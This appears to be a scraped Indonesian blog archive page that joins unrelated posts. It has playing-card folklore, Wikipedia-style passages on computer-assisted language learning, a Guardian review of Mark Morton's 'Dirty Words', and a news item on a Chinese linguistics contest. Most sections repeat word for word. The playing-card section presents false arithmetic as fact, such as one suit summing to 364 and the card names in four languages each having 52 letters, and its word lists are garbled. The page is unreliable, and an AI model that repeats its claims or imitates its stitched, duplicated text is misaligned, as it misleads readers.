Playing Card atau di Indonesia sering disebut kartu Remi ( padahal nama salah satu permainan ) mungkin datang dari Timur, Mesir atau Arab – muncul di Italia (dalam bentuk Tarot/Taroochi ) kira-kira akhir tahun 1200-an. Setelah itu menyebar ke Jerman, Prancis, dan Spanyol.
Mungkin selama ini kita enggak pernah peduli, tapi Kartu yang kita kenal adalah jenis kartu dari Inggris. misalnya seperti JACK (J) QUEEN (Q) KING (K) dan ACE (A). Jenis kartu dari Inggris ini dalam satu setnya berjumlah 52 lembar, ditambah dengan JOKER. Oke, to the point aja..
ada beberapa fenomena tentang Kartu yang sering kita maenin :
- Jumlahnya 52, kenapa 52 ? Jumlah seminggu dalam setahun adalah 52 dan setiap kartu mewakili satu minggu
- 52..5+2= 7 = 7 hari dalam seminggu
- Karena dari Inggris yang notabene 4 musim jadi kartu tuh punya 4 jenis
Spade (♠) mewakili musim dingin
Heart (♥) mewakili musim gugur
Diamond (♦) mewakili musim semi
Club (♣) mewakili musim panas
- Dalam satu jenis terdapat 13 kartu (dari As s/d King) 13 adalah jumlah minggu dalam satu musim
- 13 ..1+3= 4 = jumlah musim dalam satu tahun = 4 penjuru mata angin
- Warna merah sama Item, melambangkan Siang dan Malam
- Kalau angka kartu dalam satu jenis kalian jumlahin semua (As = 1, Jack=11, Queen=12 dan King=13),maka jumlah totalnya adalah 364! Sama dengan jumlah hari dalam satu tahun, ditambah 1 Joker, menjadi 365 hari.
- Kalau jumlah huruf dari nama-nama kartu yang ada satu deck kamu itung, baik dalam bahasa Inggris, Belanda,Jerman ataupun Perancis, maka jumlahnya adalah 52! Sama kaya jumlah minggu dalam 1 tahun !!
- Bahasa Inggris: Ace,two,three,four,five,six,seven,eight,nine,ten,J ack,Queen,King
- Bahasa Belanda: Aas,twee,drie,vier,vijf,zes,seven,acht,negen,tien, Boer,Vrouw,Heer
- Bahasa Jerman: As,zwei,drei,fünf,sechs,sieben,acht,neun,zehn,Bube ,Dame,König
- Bahasa Perancis: As,deux,trois,quatre,cing, six,sept, huit, neuf, dix Valet,Reine,Roi
(semua jumlah hurufnya sama 52!!)
ada lagi nih, mau dipercaya boleh, ngga juga gapapa..
Dari setiap jenis juga melambangkan 4 pilar yang utama di jaman Middle Ages
Heart - Gereja
Spade - Militer
Club - Aglikultur
Diamond - Kelas Pedagang
terus....
Setiap kartu Raja (KING) dari setiap jenis, represent to some of Great King from history, nih :
Spade - King David adalah Raja Israel
Heart - Charlemagne adalah pendiri The Holy Roman Empire
Club - Alexander The Great, Jenderal Macedonia yang berhasil menaklukan Mesir sampe ke India
Diamond - Julius Caesar, The Great Dictator of Rome
Hearts- Spades- Diamonds - Clubs
(King) Charlemagne - David - Caesar - Alexander
(Queen) Ragnel - Judith - Pallas - Argeia
(Jack) Ogier - Judah Maccabee - Aulus Hiritus- Hector
Siapa sih mereka? Mereka itu para Hero pada jaman Middle Age dulu, kalo mau lebih jelasnya buka Wikipedia aja...gw cape euy kalo harus ceritain satu-satu
selain itu adalagi misteri-misteri tentang kartu yang belum bisa dijawab sampe sekarang,misalnya..
- King Hati satu-satunya King yang ngga punya kumis
- King Hati juga mengarahkan pedangnya ke arah kepalanya sendiri, oleh karena itu King Hati selalu disebut "The Suicide King"
- King Diamond cuman keliatan satu sisi muka, dimana king-king lain nya engga
- Queen Spade melihat ke arah kanan, dimana Queen-Queen lainnya melihat ke arah kiri
- Queen Spade satu-satunya Queen yang megang tongkat dan bunga, dimana Queen-Queen lainnya cuman megang bunga doang,dll
- mungkin masih banyak hal-hal lainnya,kalo kita lebih teliti..
sumber: http://haxims.blogspot.com/2009/12/misteri-di-balik-kartu-remi.html
Showing posts with label call. Show all posts
Showing posts with label call. Show all posts
Sunday, December 20, 2009
Thursday, December 17, 2009
Theoretical basis for CALL instruction design
Theoretical basis for CALL instruction design
Computers have become so widespread in schools and homes and their uses have expanded so dramatically that the majority of language teachers now think about the implications. Technology can bring about changes in the teaching methodologies of foreign language beyond simply automating fill-in-the-gap exercises. [3] The use of the computer in and of itself does not constitute a teaching method, but rather the computer forces pedagogy to develop in new ways that exploit the computer's benefits and that work around its limitations. [1] To exploit the computers’ potential, we need language teaching specialists who can promote a complementary relationship between computer technology and appropriate pedagogic programs. [3]
A number of pedagogical approaches have developed in the computer age, including the communicative and integrative/experimentative approaches outlined above in the History of CALL. Others include constructivism, whole language theory and sociocultural theory although they are not exclusively theories of language learning. With constructivism, students are active participants in a task in which they “construct” new knowledge based on experience in order to incorporate new ideas into their already-established schema of knowledge. Whole language theory postulates that language learning (either native or second language) moves from the whole to the part; rather than building sub-skills like grammar to lead toward higher abilities like reading comprehension, whole language insists the opposite is the way we really learn to use language. Students learn grammar and other sub-skills by making intelligent guesses bases on the input they have experienced. It also promotes that the four skills (reading, writing, listening and speaking) are interrelated. [4] Sociocultural theory states that learning is a process of becoming part of a desired community and learning that communities rules of behavior. [5]
What most of these approaches have in common is taking the central focus away from the teacher as a conveyor of knowledge to giving students learning experiences that are as realistic as possible, and where they play a central role. Also, these approaches tend to emphasize fluency over accuracy to allow students to take risks in using more student-centered activities, and to cooperate, rather than compete. [3] The computer provides opportunity for students to be less dependent on a teacher and have more freedom to experiment on their own with natural language in natural or semi-natural settings
Computers have become so widespread in schools and homes and their uses have expanded so dramatically that the majority of language teachers now think about the implications. Technology can bring about changes in the teaching methodologies of foreign language beyond simply automating fill-in-the-gap exercises. [3] The use of the computer in and of itself does not constitute a teaching method, but rather the computer forces pedagogy to develop in new ways that exploit the computer's benefits and that work around its limitations. [1] To exploit the computers’ potential, we need language teaching specialists who can promote a complementary relationship between computer technology and appropriate pedagogic programs. [3]
A number of pedagogical approaches have developed in the computer age, including the communicative and integrative/experimentative approaches outlined above in the History of CALL. Others include constructivism, whole language theory and sociocultural theory although they are not exclusively theories of language learning. With constructivism, students are active participants in a task in which they “construct” new knowledge based on experience in order to incorporate new ideas into their already-established schema of knowledge. Whole language theory postulates that language learning (either native or second language) moves from the whole to the part; rather than building sub-skills like grammar to lead toward higher abilities like reading comprehension, whole language insists the opposite is the way we really learn to use language. Students learn grammar and other sub-skills by making intelligent guesses bases on the input they have experienced. It also promotes that the four skills (reading, writing, listening and speaking) are interrelated. [4] Sociocultural theory states that learning is a process of becoming part of a desired community and learning that communities rules of behavior. [5]
What most of these approaches have in common is taking the central focus away from the teacher as a conveyor of knowledge to giving students learning experiences that are as realistic as possible, and where they play a central role. Also, these approaches tend to emphasize fluency over accuracy to allow students to take risks in using more student-centered activities, and to cooperate, rather than compete. [3] The computer provides opportunity for students to be less dependent on a teacher and have more freedom to experiment on their own with natural language in natural or semi-natural settings
Role changes for teachers and students
Role changes for teachers and students
[edit] Teachers
Although the integration of CALL into a foreign language program can lead to great anxiety among language teachers, [6] researchers consistently claim that CALL changes, sometimes radically, the role of the teacher but does not eliminate the need for a teacher altogether. Instead of handing down knowledge to students and being the center of students’ attention, teachers become guides as they construct the activities students are to do and help them as students complete the assigned tasks. In other words, instead of being directly involved in students’ construction of the language, the teacher interacts with students primarily to facilitate difficulties in using the target language (grammar, vocabulary, etc.) that arise when interacting with the computer and/or other people. [4] [3]
Elimination of a strong teacher presence has been shown to lead to larger quantity and better quality of communication such as more fluidity, more use of complex sentences and more sharing of students’ personal selves. [4] However, teacher presence is still very important to students when doing CALL activities. Teachers should be familiar enough with the resources to be used to anticipate technical problems and limitations. [3] Students need the reassuring and motivating presence of a teacher in CALL environments. Not only are they needed during the initial learning curve, they are needed to conduct review sessions to reinforce what was learned. Encouraging students to participate and offering praise are deemed important by students. Most students report preferring to do work in a lab with a teacher’s or tutor’s presence rather than completely on their own. [4]
[edit] Students
Students, too, need to adjust their expectations, of their participation in the class in order to use CALL effectively. Rather than passively absorbing information, learners must negotiate meaning and assimilate new information through interaction and collaboration with someone other than the teacher, be that person a classmate or someone outside of the classroom entirely. Learners must also learn to interpret new information and experiences on their own terms. However, because the use of technology redistributes teachers’ and classmates’ attentions, less-able students can become more active participants in the class because class interaction is not limited to that directed by the teacher. [4] Moreover more shy students can feel free in their own students'-centered environment. This will raise their self-esteem and their knowledge will be improving. If students are performing collaborative project they will do their best to perform it within set time limits.
[edit] Teachers
Although the integration of CALL into a foreign language program can lead to great anxiety among language teachers, [6] researchers consistently claim that CALL changes, sometimes radically, the role of the teacher but does not eliminate the need for a teacher altogether. Instead of handing down knowledge to students and being the center of students’ attention, teachers become guides as they construct the activities students are to do and help them as students complete the assigned tasks. In other words, instead of being directly involved in students’ construction of the language, the teacher interacts with students primarily to facilitate difficulties in using the target language (grammar, vocabulary, etc.) that arise when interacting with the computer and/or other people. [4] [3]
Elimination of a strong teacher presence has been shown to lead to larger quantity and better quality of communication such as more fluidity, more use of complex sentences and more sharing of students’ personal selves. [4] However, teacher presence is still very important to students when doing CALL activities. Teachers should be familiar enough with the resources to be used to anticipate technical problems and limitations. [3] Students need the reassuring and motivating presence of a teacher in CALL environments. Not only are they needed during the initial learning curve, they are needed to conduct review sessions to reinforce what was learned. Encouraging students to participate and offering praise are deemed important by students. Most students report preferring to do work in a lab with a teacher’s or tutor’s presence rather than completely on their own. [4]
[edit] Students
Students, too, need to adjust their expectations, of their participation in the class in order to use CALL effectively. Rather than passively absorbing information, learners must negotiate meaning and assimilate new information through interaction and collaboration with someone other than the teacher, be that person a classmate or someone outside of the classroom entirely. Learners must also learn to interpret new information and experiences on their own terms. However, because the use of technology redistributes teachers’ and classmates’ attentions, less-able students can become more active participants in the class because class interaction is not limited to that directed by the teacher. [4] Moreover more shy students can feel free in their own students'-centered environment. This will raise their self-esteem and their knowledge will be improving. If students are performing collaborative project they will do their best to perform it within set time limits.
Use of CALL for the four skills
Use of CALL for the four skills
A number of studies have been done concerning how the use of CALL affects the development of language learners’ four skills (listening, speaking, reading and writing). Most report significant gains in reading and listening and most CALL programs are geared toward these receptive skills because of the current state of computer technology. However, most reading and listening software is based on drills. [3] Gains in writing skills have not been as impressive as computers cannot assess this well. [4]
However, using current CALL technology, even with its current limitations, for the development of speaking abilities has gained much attention. There has been some success in using CALL, in particular computer-mediated communication, to help speaking skills closely linked to “communicative competence” (ability to engage in meaningful conversation in the target language) and provide controlled interactive speaking practice outside the classroom. [7] Using chat has been shown to help students routinize certain often-used expressions to promote the development of automatic structure that help develop speaking skills. This is true even if the chat is purely textual. The use of videoconferencing give not only immediacy when communicating with a real person but also visual cues, such as facial expressions, making such communication more authentic. [4]
However, when it comes to using the computer not as a medium of communication (with other people) but as something to interact with verbally in a direct manner, the current computer technology’s limitations are at their clearest. Right now, there are two fairly successful applications of automatic speech recognition (ASR) (or speech processing technology) where the computer “understands” the spoken words of the learner. The first is pronunciation training. Learners read sentences on the screen and the computer gives feedback as to the accuracy of the utterance, usually in the form of visual sound waves. [7] The second is software where the learner speaks commands for the computer to do. However, speakers in these programs are limited to predetermined texts so that the computer will “understand” them. [3]
Diposkan oleh muhammad ridho alsri di 02:08 0 komentar
Label: call
A number of studies have been done concerning how the use of CALL affects the development of language learners’ four skills (listening, speaking, reading and writing). Most report significant gains in reading and listening and most CALL programs are geared toward these receptive skills because of the current state of computer technology. However, most reading and listening software is based on drills. [3] Gains in writing skills have not been as impressive as computers cannot assess this well. [4]
However, using current CALL technology, even with its current limitations, for the development of speaking abilities has gained much attention. There has been some success in using CALL, in particular computer-mediated communication, to help speaking skills closely linked to “communicative competence” (ability to engage in meaningful conversation in the target language) and provide controlled interactive speaking practice outside the classroom. [7] Using chat has been shown to help students routinize certain often-used expressions to promote the development of automatic structure that help develop speaking skills. This is true even if the chat is purely textual. The use of videoconferencing give not only immediacy when communicating with a real person but also visual cues, such as facial expressions, making such communication more authentic. [4]
However, when it comes to using the computer not as a medium of communication (with other people) but as something to interact with verbally in a direct manner, the current computer technology’s limitations are at their clearest. Right now, there are two fairly successful applications of automatic speech recognition (ASR) (or speech processing technology) where the computer “understands” the spoken words of the learner. The first is pronunciation training. Learners read sentences on the screen and the computer gives feedback as to the accuracy of the utterance, usually in the form of visual sound waves. [7] The second is software where the learner speaks commands for the computer to do. However, speakers in these programs are limited to predetermined texts so that the computer will “understand” them. [3]
Diposkan oleh muhammad ridho alsri di 02:08 0 komentar
Label: call
Problems and criticisms of CALL instruction
Problems and criticisms of CALL instruction
The impact of CALL in foreign language education has been modest. [7] Several reasons can be attributed to this.
The first is the limitations of the technology, both in its ability and availability. First of all, there is the problem with cost[1] and the simple availability of technological resources such as the Internet (either non-existent as can be the case in many developing countries or lack of bandwidth, as can be the case just about anywhere). [3] However, the limitations that current computer technology has can be problematic as well. While computer technology has improved greatly in the last three decades, demands placed on CALL have grown even more so. One major goal is to have computers with which students can have true, human-like interaction, esp. for speaking practice; however, the technology is far from that point. Not to mention that if the computer cannot evaluate a learner’s speech exactly, it is almost no use at all. [7][1]
However, most of the problems that appear in the literature on CALL have more to do with teacher expectations and apprehensions about what computers can do for the language learner and teacher. Teachers and administrators tend to either think computers are worthless or even harmful, or can do far more than they are really capable of. [6]
Reluctance on part of teachers can come from lack of understanding and even fear of technology. Often CALL is not implemented unless it is required even if training is offered to teachers. [6] One reason for this is that from the 1960’s to the 1980’s, computer technology was limited mostly for the sciences, creating a real and psychological distance for language teaching. [14] Language teachers can be more comfortable with textbooks because it is what they are used do, and there is the idea that the use of computers threatens traditional literacy skills since such are heavily tied to books. [14] [15] These stem in part because there is a significant generation gap between teachers (many of whom did not grow up with computers) and students (who did grow up with them).
Also, teachers may resist because CALL activities can be more difficult to evaluate than more traditional exercises. For example, most Mexican teachers feel strongly that a completed fill-in textbook “proves” learning. [15] While students may be motivated by exercises like branching stories, adventures, puzzles or logic, these activities provide little in the way of systematic evaluation of progress. [3]
Even teachers who may otherwise see benefits to CALL may be put off by the time and effort needed to implement it well. However “seductive” the power of computing systems may be[3], like with the introduction of the audio language lab in the 1960’s, those who simply expect results by purchasing expensive equipment are likely to be disappointed. [1] To begin with, there are the simple matters of sorting through the numerous resources that exist and getting students ready to use computer resources. With Internet sites alone, it can be very difficult to know where to begin, and if students are unfamiliar with the resource to be used, the teacher must take time to teach it. [3] Also, there is a lack of unified theoretical framework for designing and evaluating CALL systems as well as absence of conclusive empirical evidence for the pedagogical benefits of computers in language. [7] Most teachers lack the time or training to create CALL-based assignments, leading to reliance on commercially-published sources, whether such are pedagogically sound or not. [1]
However, the most crucial factor that can lead to the failure of CALL, or the use of any technology in language education is not the failure of the technology, but rather the failure to invest adequately in teacher training and the lack of imagination to take advantage of the technology's flexibility. Graham Davies states that too often, technology is seen as a panacea, especially by administrators, and the human component necessary to make it beneficial is ignored. Under these circumstances, he argues, "it is probably better to dispense with technology altogether".[8]
Rody Klein, Clint Rogers and Zhang Yong (2006), studying the adoption of Learning Technologies in Chinese schools and colleges, have also pointed out that the spread of video games on electronic devices, including computers, dictionaries and mobile phones, is feared in most Chinese institutions. And yet every classroom is very well equipped with a desk imbedded computer, Internet connexion, microphone, video projector and remote controlled screen to be used by the teacher for multimedia presentations. Very often the 'leaders' prefer to ban completely Learning Technologies for students at the dismay of many foreign ESL teachers. Books and exercise books still prevail. In order to enhance CALL for teaching ESL and other languages in developing countries, it would be also crucial to teach students how to learn by themselves and develop the capacity to practice self evaluation and enhance intrinsic motivation. Tests and quizzes should be designed accordingly to encourage and enhance students autonomous practice. Teachers using CALL should be computer literate and trained continuously. Ideally each Foreign Language Department using CALL should hire an experienced Computer Scientist who could assist teachers. That expert should demonstrate dual expertise both in Education and Learning Technologies.
Diposkan oleh muhammad ridho alsri di 02:12 0 komentar
Label: call
The impact of CALL in foreign language education has been modest. [7] Several reasons can be attributed to this.
The first is the limitations of the technology, both in its ability and availability. First of all, there is the problem with cost[1] and the simple availability of technological resources such as the Internet (either non-existent as can be the case in many developing countries or lack of bandwidth, as can be the case just about anywhere). [3] However, the limitations that current computer technology has can be problematic as well. While computer technology has improved greatly in the last three decades, demands placed on CALL have grown even more so. One major goal is to have computers with which students can have true, human-like interaction, esp. for speaking practice; however, the technology is far from that point. Not to mention that if the computer cannot evaluate a learner’s speech exactly, it is almost no use at all. [7][1]
However, most of the problems that appear in the literature on CALL have more to do with teacher expectations and apprehensions about what computers can do for the language learner and teacher. Teachers and administrators tend to either think computers are worthless or even harmful, or can do far more than they are really capable of. [6]
Reluctance on part of teachers can come from lack of understanding and even fear of technology. Often CALL is not implemented unless it is required even if training is offered to teachers. [6] One reason for this is that from the 1960’s to the 1980’s, computer technology was limited mostly for the sciences, creating a real and psychological distance for language teaching. [14] Language teachers can be more comfortable with textbooks because it is what they are used do, and there is the idea that the use of computers threatens traditional literacy skills since such are heavily tied to books. [14] [15] These stem in part because there is a significant generation gap between teachers (many of whom did not grow up with computers) and students (who did grow up with them).
Also, teachers may resist because CALL activities can be more difficult to evaluate than more traditional exercises. For example, most Mexican teachers feel strongly that a completed fill-in textbook “proves” learning. [15] While students may be motivated by exercises like branching stories, adventures, puzzles or logic, these activities provide little in the way of systematic evaluation of progress. [3]
Even teachers who may otherwise see benefits to CALL may be put off by the time and effort needed to implement it well. However “seductive” the power of computing systems may be[3], like with the introduction of the audio language lab in the 1960’s, those who simply expect results by purchasing expensive equipment are likely to be disappointed. [1] To begin with, there are the simple matters of sorting through the numerous resources that exist and getting students ready to use computer resources. With Internet sites alone, it can be very difficult to know where to begin, and if students are unfamiliar with the resource to be used, the teacher must take time to teach it. [3] Also, there is a lack of unified theoretical framework for designing and evaluating CALL systems as well as absence of conclusive empirical evidence for the pedagogical benefits of computers in language. [7] Most teachers lack the time or training to create CALL-based assignments, leading to reliance on commercially-published sources, whether such are pedagogically sound or not. [1]
However, the most crucial factor that can lead to the failure of CALL, or the use of any technology in language education is not the failure of the technology, but rather the failure to invest adequately in teacher training and the lack of imagination to take advantage of the technology's flexibility. Graham Davies states that too often, technology is seen as a panacea, especially by administrators, and the human component necessary to make it beneficial is ignored. Under these circumstances, he argues, "it is probably better to dispense with technology altogether".[8]
Rody Klein, Clint Rogers and Zhang Yong (2006), studying the adoption of Learning Technologies in Chinese schools and colleges, have also pointed out that the spread of video games on electronic devices, including computers, dictionaries and mobile phones, is feared in most Chinese institutions. And yet every classroom is very well equipped with a desk imbedded computer, Internet connexion, microphone, video projector and remote controlled screen to be used by the teacher for multimedia presentations. Very often the 'leaders' prefer to ban completely Learning Technologies for students at the dismay of many foreign ESL teachers. Books and exercise books still prevail. In order to enhance CALL for teaching ESL and other languages in developing countries, it would be also crucial to teach students how to learn by themselves and develop the capacity to practice self evaluation and enhance intrinsic motivation. Tests and quizzes should be designed accordingly to encourage and enhance students autonomous practice. Teachers using CALL should be computer literate and trained continuously. Ideally each Foreign Language Department using CALL should hire an experienced Computer Scientist who could assist teachers. That expert should demonstrate dual expertise both in Education and Learning Technologies.
Diposkan oleh muhammad ridho alsri di 02:12 0 komentar
Label: call
Wednesday, December 16, 2009
* Michel Faber
* The Guardian, Saturday 30 July 2005
Dirty Words: The Story of Sex Talk by Mark Morton
Buy Dirty Words: The Story of Sex Talk at the Guardian bookshop
Dirty Words: The Story of Sex Talk
by Mark Morton
368pp, Atlantic Books, £12.99
Seductively billed as "the perfect book for lovers, and language-lovers, alike", Dirty Words attempts to catalogue every English word ever used for sexual purposes. In an orgy of etymological fervour, it ploughs into the roots of love, limerence, glamour, cunnilingus and fartleberries. There are 1,300 terms listed for the male sex organ, many of them amusingly surreal (hairy banana, blue-veined custard chucker, whoopee stick, finger puppet) and many others pitiably desperate (dangling participle, male interfemoral infidel). I doubt that this is the perfect book for lovers, but it's certainly the perfect book for anyone who can imagine themselves enlivening a dull dinner party by saying: "Did you know that the word felch denotes the act of sucking one's own semen out of another person's buttocks?"
The joy of lascivious lingo is diminished, however, by Morton's approach and writing style. Tracing the evolution of words back to their conjectural proto-Indo-European origins is a scholarly business, yet this book seems touched by a nymphomaniac desire to attract all passersby, regardless of their levels of intellect or interest. So hard does Morton strive to service everyone, and so determined is he not to appear offputtingly intellectual, that he often seems to be addressing Homer Simpsons who've never given a thought to language before: "Clearly, Old English doesn't look much like Modern English - you might even say they're different languages. Then again, you probably don't resemble your grandmother, and yet think of how much, at the genetic level, you owe her: if she hadn't existed, you wouldn't be here." (This observation, already twice as long as it needs to be, is elaborated for a further six lines.)
From the outset, Morton promises not to trouble us with "squiggly marks" (ie, lexicographical symbols). He also cautions us against reading too much of his book at once, because "you'll probably get a headache". His day job as a professor at the University of Winnipeg makes him eminently qualified to discuss ribald Shakespearian puns, but perhaps his lifelong devotion to pedagogy blinds him to the fact that not everybody has yet to glean the basics of an education. Some of his gestures are so condescending as to be unintentionally parodic: "Mother-fucker emerged as an insult in the 1920s, though that incest taboo was articulated much earlier, most notably in Oedipus Rex, a Greek tragedy written in the fifth century BC by Sophocles."
Dirty Words is plumped out to 368 pages by a shameful amount of padding. Morton, apart from being a waffly stylist, cannot resist telling us the origins of words that have little or nothing to do with his subject. "Amazingly, the word mouse is closely related to both muscle and mussel," he enthuses, and there are hundreds more of these Reader's Digest tickles of edification. Morton's passion for etymology is commendable, but an editor should have reminded him what book he was supposed to be writing.
Sadly, Morton's labour of love seems to have been unassisted. Several glaring copyediting errors in the introduction (including one in the third sentence) make it obvious that Dirty Words was originally called The Lover's Tongue, before the UK publishers ditched this title - evidently in haste - in favour of a sensationalist surrogate. Real shock value, however, is supplied by Atlantic's slipshod production of the book. There is a chunk of text missing between pages 24 and 25, and a disconnected paragraph on the etymology of bunkum is left stranded on page 220. Morton's heavyhanded humour when he denies imagined accusations of coprophemia, aischrolatreia and lalochezia by saying that "you - dear reader - can decide for yourself after perusing the remaining two hundred pages" is made heavier still by the fact that nobody at Atlantic noticed that this estimate is 100 pages out. Editorial passivity may also be the reason why no one thought to anglicise the confusing American usages of pants and ass, cut out the Canadian in-jokes, or dispense with Morton's step-by-step explanation of how Cockney rhyming slang works. There is no index, so the chances of finding that elusive synonym for gamahuching a second time are slim.
Sometimes, the saving grace of an annoyingly written textbook is that it offers information unavailable elsewhere, or collects material from disparate sources in a uniquely convenient form. Dirty Words aims for the latter distinction; Morton has done an admirable job combing through the available literature on "indecent" words - shelfloads of dictionaries, thesauruses, histories, and specialist studies - and collating the results in a single volume. While there are websites such as sex-lexis.com that list all the terms in Morton's book and more, there is, to my knowledge, no other book that offers such a compendious and up-to-date trove of erotic etymology. The closest contender is Hugh Rawson's A Dictionary of Invective, which is narrower in scope (though not as narrow as its title suggests) and goes no further than 1989.
For an authority who might influence people's attitudes towards language, Morton is regrettably reluctant to use basic English words himself. Whenever he speaks in his own, "neutral" voice, he resorts to copulate and the deplorable pudendum (a term derived from a Latin verb meaning "to cause shame"). Far from proving that the study of language can cure deep-seated anxieties about "dirty" words, Morton merely confirms the cliché of the donnish lexicographer, goggling at exotic linguistic behaviours he's too prim to adopt.
· Michel Faber's new short story collection, The Fahrenheit Twins, will be published by Canongate in September.
* The Guardian, Saturday 30 July 2005
Dirty Words: The Story of Sex Talk by Mark Morton
Buy Dirty Words: The Story of Sex Talk at the Guardian bookshop
Dirty Words: The Story of Sex Talk
by Mark Morton
368pp, Atlantic Books, £12.99
Seductively billed as "the perfect book for lovers, and language-lovers, alike", Dirty Words attempts to catalogue every English word ever used for sexual purposes. In an orgy of etymological fervour, it ploughs into the roots of love, limerence, glamour, cunnilingus and fartleberries. There are 1,300 terms listed for the male sex organ, many of them amusingly surreal (hairy banana, blue-veined custard chucker, whoopee stick, finger puppet) and many others pitiably desperate (dangling participle, male interfemoral infidel). I doubt that this is the perfect book for lovers, but it's certainly the perfect book for anyone who can imagine themselves enlivening a dull dinner party by saying: "Did you know that the word felch denotes the act of sucking one's own semen out of another person's buttocks?"
The joy of lascivious lingo is diminished, however, by Morton's approach and writing style. Tracing the evolution of words back to their conjectural proto-Indo-European origins is a scholarly business, yet this book seems touched by a nymphomaniac desire to attract all passersby, regardless of their levels of intellect or interest. So hard does Morton strive to service everyone, and so determined is he not to appear offputtingly intellectual, that he often seems to be addressing Homer Simpsons who've never given a thought to language before: "Clearly, Old English doesn't look much like Modern English - you might even say they're different languages. Then again, you probably don't resemble your grandmother, and yet think of how much, at the genetic level, you owe her: if she hadn't existed, you wouldn't be here." (This observation, already twice as long as it needs to be, is elaborated for a further six lines.)
From the outset, Morton promises not to trouble us with "squiggly marks" (ie, lexicographical symbols). He also cautions us against reading too much of his book at once, because "you'll probably get a headache". His day job as a professor at the University of Winnipeg makes him eminently qualified to discuss ribald Shakespearian puns, but perhaps his lifelong devotion to pedagogy blinds him to the fact that not everybody has yet to glean the basics of an education. Some of his gestures are so condescending as to be unintentionally parodic: "Mother-fucker emerged as an insult in the 1920s, though that incest taboo was articulated much earlier, most notably in Oedipus Rex, a Greek tragedy written in the fifth century BC by Sophocles."
Dirty Words is plumped out to 368 pages by a shameful amount of padding. Morton, apart from being a waffly stylist, cannot resist telling us the origins of words that have little or nothing to do with his subject. "Amazingly, the word mouse is closely related to both muscle and mussel," he enthuses, and there are hundreds more of these Reader's Digest tickles of edification. Morton's passion for etymology is commendable, but an editor should have reminded him what book he was supposed to be writing.
Sadly, Morton's labour of love seems to have been unassisted. Several glaring copyediting errors in the introduction (including one in the third sentence) make it obvious that Dirty Words was originally called The Lover's Tongue, before the UK publishers ditched this title - evidently in haste - in favour of a sensationalist surrogate. Real shock value, however, is supplied by Atlantic's slipshod production of the book. There is a chunk of text missing between pages 24 and 25, and a disconnected paragraph on the etymology of bunkum is left stranded on page 220. Morton's heavyhanded humour when he denies imagined accusations of coprophemia, aischrolatreia and lalochezia by saying that "you - dear reader - can decide for yourself after perusing the remaining two hundred pages" is made heavier still by the fact that nobody at Atlantic noticed that this estimate is 100 pages out. Editorial passivity may also be the reason why no one thought to anglicise the confusing American usages of pants and ass, cut out the Canadian in-jokes, or dispense with Morton's step-by-step explanation of how Cockney rhyming slang works. There is no index, so the chances of finding that elusive synonym for gamahuching a second time are slim.
Sometimes, the saving grace of an annoyingly written textbook is that it offers information unavailable elsewhere, or collects material from disparate sources in a uniquely convenient form. Dirty Words aims for the latter distinction; Morton has done an admirable job combing through the available literature on "indecent" words - shelfloads of dictionaries, thesauruses, histories, and specialist studies - and collating the results in a single volume. While there are websites such as sex-lexis.com that list all the terms in Morton's book and more, there is, to my knowledge, no other book that offers such a compendious and up-to-date trove of erotic etymology. The closest contender is Hugh Rawson's A Dictionary of Invective, which is narrower in scope (though not as narrow as its title suggests) and goes no further than 1989.
For an authority who might influence people's attitudes towards language, Morton is regrettably reluctant to use basic English words himself. Whenever he speaks in his own, "neutral" voice, he resorts to copulate and the deplorable pudendum (a term derived from a Latin verb meaning "to cause shame"). Far from proving that the study of language can cure deep-seated anxieties about "dirty" words, Morton merely confirms the cliché of the donnish lexicographer, goggling at exotic linguistic behaviours he's too prim to adopt.
· Michel Faber's new short story collection, The Fahrenheit Twins, will be published by Canongate in September.
Foreigners Beat Chinese Team in Varsity Chinese Linguistics Competition
The Epoch Times
Jul 05, 2005
The first prize in a recent Chinese language competition went to an overseas team this year, which beat the local Chinese team, much to the consternation of many Chinese.
According to Wenhui Daily, this annual competition tests contestants from different faculties on aspects of Chinese language such as structure, phonetics, idiomatic expressions and general knowledge.
Overseas students previously ranked towards the bottom, but this year they made it to the top. The local Chinese teams paled in comparison when it came to general knowledge and performance, despite the fact that many of the participants were freshmen who had just entered college and therefore still had a strong foundation in the Chinese language.
This year the competition was held at the prestigious Fudan University. Professor Fu Jie from the Chinese Studies department of Fudan University said, “Having lived in China for so long, many Chinese students have become desensitized and fail to appreciate the beauty of their mother tongue. In contrast, overseas students are more willing to spend time exploring the cultural phenomenon underlying the Chinese language.”
Professor Qi Senhua from East China Normal University raised three points to support his observation that Chinese language studies are being marginalized by universities. Firstly, the Ministry of Education does not make Chinese language studies compulsory at the tertiary level. In fact, certain polytechnics and medical colleges simply do away with such courses. Secondly, many students would rather invest their time in learning a foreign language, as this is more advantageous to their career advancement. Thirdly, institutions of higher learning tend to adopt a utilitarian approach in planning their curriculums. Consequently, Chinese language is relegated to a “forgotten corner.”
Mr. Xu Xiao, a middle school language teacher, had similar sentiments. Under the exam-oriented education system, he felt that the curriculum has become too utilitarian. In middle schools, the time spent teaching mathematics and sciences has increased at the expense of the morning reading program, which has been canceled.
Quoting French writer Romain Roland, Mr. Xu said, “Language is the distinctive feature of a race; it is the most intimate and enduring aspect of the human condition.” The French have used the constitution to protect their native language, while the Israelites have strived to preserve their mother tongue, the Hebrew language. Mr. Xu said, “Looking at these countries, I feel saddened by the decline of the Chinese language in this utilitarian education system.”
Jul 05, 2005
The first prize in a recent Chinese language competition went to an overseas team this year, which beat the local Chinese team, much to the consternation of many Chinese.
According to Wenhui Daily, this annual competition tests contestants from different faculties on aspects of Chinese language such as structure, phonetics, idiomatic expressions and general knowledge.
Overseas students previously ranked towards the bottom, but this year they made it to the top. The local Chinese teams paled in comparison when it came to general knowledge and performance, despite the fact that many of the participants were freshmen who had just entered college and therefore still had a strong foundation in the Chinese language.
This year the competition was held at the prestigious Fudan University. Professor Fu Jie from the Chinese Studies department of Fudan University said, “Having lived in China for so long, many Chinese students have become desensitized and fail to appreciate the beauty of their mother tongue. In contrast, overseas students are more willing to spend time exploring the cultural phenomenon underlying the Chinese language.”
Professor Qi Senhua from East China Normal University raised three points to support his observation that Chinese language studies are being marginalized by universities. Firstly, the Ministry of Education does not make Chinese language studies compulsory at the tertiary level. In fact, certain polytechnics and medical colleges simply do away with such courses. Secondly, many students would rather invest their time in learning a foreign language, as this is more advantageous to their career advancement. Thirdly, institutions of higher learning tend to adopt a utilitarian approach in planning their curriculums. Consequently, Chinese language is relegated to a “forgotten corner.”
Mr. Xu Xiao, a middle school language teacher, had similar sentiments. Under the exam-oriented education system, he felt that the curriculum has become too utilitarian. In middle schools, the time spent teaching mathematics and sciences has increased at the expense of the morning reading program, which has been canceled.
